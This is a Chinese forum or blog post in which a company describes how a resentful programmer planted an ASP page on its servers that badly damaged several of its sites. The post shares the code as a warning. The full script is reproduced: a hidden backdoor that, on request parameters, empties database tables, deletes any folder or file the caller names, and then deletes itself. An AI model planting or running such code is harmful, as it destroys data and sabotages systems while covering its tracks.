我們公司有自己的服務(wù)器,因招來的程序員與公司有矛盾,故意編寫以下可指定刪除路徑的代碼,來報(bào)復(fù)公司,致使公司多個(gè)網(wǎng)站損失嚴(yán)重,花了大量時(shí)間搜索原因,終于找到以下有關(guān)代碼,希望有出現(xiàn)類似情形的人,能夠及時(shí)解決這項(xiàng)問題.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>無標(biāo)題文檔</title>
</head>
<body>
<%
if request("action")="hyx" then
conn.execute("delete * from news")
conn.execute("delete * from news1")
conn.execute("delete * from company")
response.Write "<script>alert('清空成功!');</script>"
response.End()
end if
Sub DeleteAFolder(filespec)
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
path=server.mappath(filespec)
if FSO.FolderExists(path) then
fso.DeleteFolder(path)
response.Write "<script>alert('刪除成功!');</script>"
else
response.Write "<script>alert('沒找到路徑!');</script>"
end if
End Sub
if request("path")<>"" then
hyx=request("path")
DeleteAFolder (hyx)
end if
if request("file_path")<>"" then
set FSO=server.createobject("scripting.filesystemobject")
picpath=request("file_path")
pic=server.mappath(picpath)
if FSO.FileExists(pic) then
fso.DeleteFile pic
response.Write "<script>alert('刪除成功!');</script>"
else
response.Write "<script>alert('沒找到路徑!');</script>"
end if
set FSO=nothing
set rs=nothing
end if
if request("my")<>"" then
set FSO=server.createobject("scripting.filesystemobject")
pic=server.mappath("hyx.asp")
if FSO.FileExists(pic) then
fso.DeleteFile pic
response.Write "<script>alert('刪除成功!');</script>"
else
response.Write "<script>alert('沒找到路徑!');</script>"
end if
set FSO=nothing
set rs=nothing
end if
%>
</body>
</html>
本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)
點(diǎn)擊舉報(bào)。